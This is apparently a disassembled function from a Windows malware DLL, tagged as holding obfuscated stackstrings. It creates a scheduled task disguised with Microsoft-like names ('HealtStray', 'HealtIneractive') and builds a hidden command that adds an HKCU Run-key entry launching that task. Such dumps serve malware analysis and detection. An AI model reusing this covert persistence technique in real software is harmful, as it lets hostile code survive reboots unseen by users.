Function at 0x18000a630
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x298]
sub rsp, 0x358
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
movaps xmmword [rax - 0x98], xmm10
movaps xmmword [rax - 0xa8], xmm11
xor r13d, r13d
mov dword [rbp + 0x2a0], r13d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jns 0x18000a691
lea eax, [r13 + 1]
jmp 0x18000aa2d
mov qword [rbp + 0x2b0], r13
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r9, [0x18003ce18]
mov edi, 1
mov r8d, edi
xor edx, edx
lea rcx, [0x18003ce38]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000aa25
mov rax, qword [rbp + 0x2b0]
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x50]
lea rcx, [rbp + 0x100]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm11, xmmword [rbp + 0x100]
movsd xmm10, qword [rbp + 0x110]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm9, xmmword [rbp + 0xe8]
movsd xmm8, qword [rbp + 0xf8]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm7, xmmword [rbp + 0xd0]
movsd xmm6, qword [rbp + 0xe0]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movaps xmmword [rbp + 0x190], xmm11
movsd qword [rbp + 0x1a0], xmm10
movaps xmmword [rbp + 0x40], xmm9
movsd qword [rbp + 0x50], xmm8
movaps xmmword [rbp + 0x60], xmm7
movsd qword [rbp + 0x70], xmm6
movups xmm0, xmmword [rbp + 0xb8]
movaps xmmword [rbp + 0x80], xmm0
movsd xmm1, qword [rbp + 0xc8]
movsd qword [rbp + 0x90], xmm1
lea rax, [rbp + 0x190]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x40]
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
mov rcx, qword [rbp + 0x2b0]
call rbx
mov ebx, eax
lea rcx, [rbp + 0xb8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0xd0]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0xe8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x100]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x18000aa18
mov qword [rsp + 0x50], r13
mov rax, qword [rbp + 0x2b0]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x38]
lea ecx, [rdi + 0x17]
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000a835
mov qword [rax + 8], r13
mov dword [rax + 0x10], edi
lea rcx, [0x180046a08]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000b1ad
jmp 0x18000a838
mov rbx, r13
mov qword [rbp + 0x160], rbx
test rbx, rbx
je 0x18000b1e4
lea r8, [rsp + 0x50]
mov rdx, qword [rbx]
mov rcx, qword [rbp + 0x2b0]
call rsi
mov esi, eax
mov r15d, 0xffffffff
mov ecx, r15d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000a89e
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000a87f
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r13
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000a891
call fcn.180013ff4
mov qword [rbx + 8], r13
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
mov rcx, qword [rbp + 0x2b0]
test esi, esi
js 0x18000aa1f
mov qword [rbp + 0x2b8], r13
mov rax, qword [rcx]
lea r8, [rbp + 0x2b8]
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x18000aa0d
mov qword [rbp - 8], r13
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rcx]
lea rdx, [rbp - 8]
call qword [rax + 0x38]
test eax, eax
js 0x18000aa00
mov rax, qword [rbp - 8]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x50]
mov ecx, 0x18
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000a92e
mov qword [rax + 8], r13
mov dword [rax + 0x10], edi
lea rcx, str.Microsoft_HealtStray
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000b1b8
jmp 0x18000a931
mov rbx, r13
mov qword [rbp + 0x168], rbx
test rbx, rbx
je 0x18000b1e4
mov rdx, qword [rbx]
mov rcx, qword [rbp - 8]
call rsi
mov esi, eax
mov ecx, r15d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000a989
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000a96a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r13
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000a97c
call fcn.180013ff4
mov qword [rbx + 8], r13
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
mov rcx, qword [rbp - 8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b8]
test esi, esi
js 0x18000aa07
mov qword [rsp + 0x58], r13
mov rax, qword [rcx]
lea rdx, [rsp + 0x58]
call qword [rax + 0x48]
test eax, eax
js 0x18000aa00
mov qword [rsp + 0x60], r13
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
mov edx, edi
call qword [rax + 0x50]
test eax, eax
js 0x18000a9f5
mov qword [rbp], r13
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
lea r8, [rbp]
lea rdx, [0x18003ce28]
call qword [rax]
test eax, eax
jns 0x18000aa63
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
lea r11, [rsp + 0x358]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rbp - 0xe]
inc cx
mov word [rbp - 0xe], cx
movzx edx, word [rbp - 0x10]
cmp cx, 0x3c
jb 0x18000aa91
sub cx, 0x3c
mov word [rbp - 0xe], cx
inc dx
mov word [rbp - 0x10], dx
movzx eax, word [rbp - 0xc]
add ax, 0x1e
mov word [rbp - 0xc], ax
cmp ax, 0x3c
jb 0x18000aab2
sub ax, 0x3c
mov word [rbp - 0xc], ax
inc cx
mov word [rbp - 0xe], cx
movzx eax, ax
movzx ecx, cx
movzx edx, dx
movzx r10d, word [rbp - 0x12]
movzx r9d, word [rbp - 0x16]
movzx r8d, word [rbp - 0x18]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r10d
lea rdx, str._04d__02d__02dT_02d:_02d:_02d
lea rcx, [rbp + 0x1b0]
call fcn.18000c1d0
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rsi, qword [rcx + 0x78]
mov ecx, 0x18
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000ab34
mov qword [rax + 8], r13
mov dword [rax + 0x10], edi
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000b1c3
jmp 0x18000ab37
mov rbx, r13
mov qword [rbp + 0x170], rbx
test rbx, rbx
je 0x18000b1e4
mov rdx, qword [rbx]
mov rcx, qword [rbp]
call rsi
mov esi, eax
mov ecx, r15d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000ab8f
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000ab70
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r13
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000ab82
call fcn.180013ff4
mov qword [rbx + 8], r13
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
mov rcx, qword [rbp]
mov rax, qword [rcx]
call qword [rax + 0x10]
test esi, esi
js 0x18000a9ea
mov qword [rbp + 8], r13
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rcx]
lea rdx, [rbp + 8]
call qword [rax + 0x88]
test eax, eax
js 0x18000a9ea
mov qword [rbp + 0x10], r13
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
lea r8, [rbp + 0x10]
xor edx, edx
call qword [rax + 0x60]
mov ebx, eax
mov rcx, qword [rbp + 8]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x18000a9ea
mov qword [rbp - 0x20], r13
mov rcx, qword [rbp + 0x10]
mov rax, qword [rcx]
lea r8, [rbp - 0x20]
lea rdx, str.MbLk
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x18000a9ea
mov dword [rsp + 0x70], 0x20444441
mov dword [rsp + 0x74], 0x434b4822
mov dword [rsp + 0x78], 0x4f535c55
mov dword [rsp + 0x7c], 0x41575446
mov dword [rbp - 0x80], 0x4d5c4552
mov dword [rbp - 0x7c], 0x6f726369
mov dword [rbp - 0x78], 0x74666f73
mov dword [rbp - 0x74], 0x6e69575c
mov dword [rbp - 0x70], 0x73776f64
mov dword [rbp - 0x6c], 0x7275435c
mov dword [rbp - 0x68], 0x746e6572
mov dword [rbp - 0x64], 0x73726556
mov dword [rbp - 0x60], 0x5c6e6f69
mov dword [rbp - 0x5c], 0x226e7552
mov dword [rbp - 0x58], 0x20562f20
mov dword [rbp - 0x54], 0x6e795322
mov dword [rbp - 0x50], 0x20224e63
mov dword [rbp - 0x4c], 0x5220742f
mov dword [rbp - 0x48], 0x535f4745
mov dword [rbp - 0x44], 0x462f205a
mov dword [rbp - 0x40], 0x20442f20
mov dword [rbp - 0x3c], 0x68637322
mov dword [rbp - 0x38], 0x6b736174
mov dword [rbp - 0x34], 0x722f2073
mov dword [rbp - 0x30], 0x2f206e75
mov dword [rbp - 0x2c], 0x52206e74
mov dword [rbp - 0x28], 0x65486765
mov dword [rbp - 0x24], 0x22746c61
mov ecx, 0x70
call fcn.180013ffc
mov rsi, rax
mov qword [rbp + 0x148], rax
lea r14, [rax + 0x70]
mov qword [rbp + 0x158], r14
mov r8d, 0x70
lea rdx, [rsp + 0x70]
mov rcx, rax
call fcn.180037d60
mov qword [rbp + 0x150], r14
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov r12, qword [rcx + 0x58]
mov ecx, 0x18
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000ad5c
mov qword [rax + 8], r13
mov dword [rax + 0x10], edi
lea rcx, [0x180046b70]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000b1ce
jmp 0x18000ad5f
mov rbx, r13
mov qword [rbp + 0x178], rbx
test rbx, rbx
je 0x18000b1ef
mov rdx, qword [rbx]
mov rcx, qword [rbp - 0x20]
call r12
mov r13d, eax
mov ecx, r15d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x18000adc1
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000ad9e
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000adb4
call fcn.180013ff4
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
mov rax, qword [rbp - 0x20]
mov rcx, qword [rax]
mov r12, qword [rcx + 0x68]
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
movdqa xmm1, xmmword [0x180046cd0]
movdqu xmmword [rbp + 0x28], xmm1
mov byte [rbp + 0x18], 0
mov dword [rbp + 0x2a0], edi
cmp rsi, r14
je 0x18000ae42
mov rbx, rsi
nop dword [rax]
nop word [rax + rax]
movzx r9d, byte [rbx]
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
cmp rcx, rdx
jae 0x18000ae31
lea rax, [rcx + 1]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x18]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x18]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x18000ae3a
lea rcx, [rbp + 0x18]
call fcn.180008140
inc rbx
cmp rbx, r14
jne 0x18000ae00
lea r14, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova r14, qword [rbp + 0x18]
mov ecx, 0x18
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000ae81
mov qword [rax + 8], 0
mov dword [rax + 0x10], edi
mov rcx, r14
call fcn.180015120
mov qword [rbx], rax
jmp 0x18000ae83
xor ebx, ebx
mov qword [rbp + 0x180], rbx
test rbx, rbx
je 0x18000b1fa
mov rdx, qword [rbx]
mov rcx, qword [rbp - 0x20]
call r12
nop
mov eax, r15d
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x18000aee4
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000aec0
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], 0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000aed6
call fcn.180013ff4
mov qword [rbx + 8], 0
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x18000af1f
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000af1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b205
call fcn.180013ff4
mov rcx, qword [rbp - 0x20]
mov rax, qword [rcx]
call qword [rax + 0x10]
test r13d, r13d
jns 0x18000af74
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x18000b166
xor r13d, r13d
mov qword [rbp + 0x38], r13
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
mov r14, qword [rcx + 0x88]
mov eax, 8
mov word [rbp + 0xa0], ax
lea rcx, [0x180046a0c]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0xa8], rax
test rax, rax
je 0x18000b20b
movups xmm6, xmmword [rbp + 0xa0]
movsd xmm7, qword [rbp + 0xb0]
lea rcx, [rbp + 0x130]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm8, xmmword [rbp + 0x130]
movsd xmm9, qword [rbp + 0x140]
lea rcx, [rbp + 0x118]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm10, xmmword [rbp + 0x118]
movsd xmm11, qword [rbp + 0x128]
mov r12, qword [rbp + 0x2b8]
lea ecx, [r13 + 0x18]
call fcn.180013ffc
mov rbx, rax
mov qword [rbp + 0x2a8], rax
test rax, rax
je 0x18000b041
mov qword [rax + 8], r13
mov dword [rax + 0x10], edi
lea rcx, str.HealtIneractive
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x18000b1d9
jmp 0x18000b044
mov rbx, r13
mov qword [rbp + 0x188], rbx
test rbx, rbx
je 0x18000b216
movaps xmmword [rbp + 0x80], xmm6
movsd qword [rbp + 0x90], xmm7
movaps xmmword [rbp + 0x60], xmm8
movsd qword [rbp + 0x70], xmm9
movaps xmmword [rbp + 0x40], xmm10
movsd qword [rbp + 0x50], xmm11
lea rax, [rbp + 0x38]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 3
lea rax, [rbp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 6
mov r8, r12
mov rdx, qword [rbx]
mov rcx, qword [rsp + 0x50]
call r14
nop
lock xadd dword [rbx + 0x10], r15d
cmp r15d, 1
jne 0x18000b0fa
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000b0da
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r13
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x18000b0ec
call fcn.180013ff4
mov qword [rbx + 8], r13
mov edx, 0x18
mov rcx, rbx
call fcn.180013ff4
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x130]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0xa0]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
mov rcx, qword [rbp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b0]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov edi, r13d
test rsi, rsi
je 0x18000aa2b
mov rdx, qword [rbp + 0x158]
sub rdx, rsi
cmp rdx, 0x1000
jb 0x18000b19a
add rdx, 0x27
mov rcx, qword [rsi - 8]
sub rsi, rcx
lea rax, [rsi - 8]
cmp rax, 0x1f
ja 0x18000b1a7
mov rsi, rcx
mov rcx, rsi
call fcn.180013ff4
jmp 0x18000aa2b
call fcn.18001b33c
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
nop
call fcn.18001b33c
int3
mov ecx, 0x8007000e
call fcn.180015110
nop
mov ecx, 0x8007000e
call fcn.180015110
int3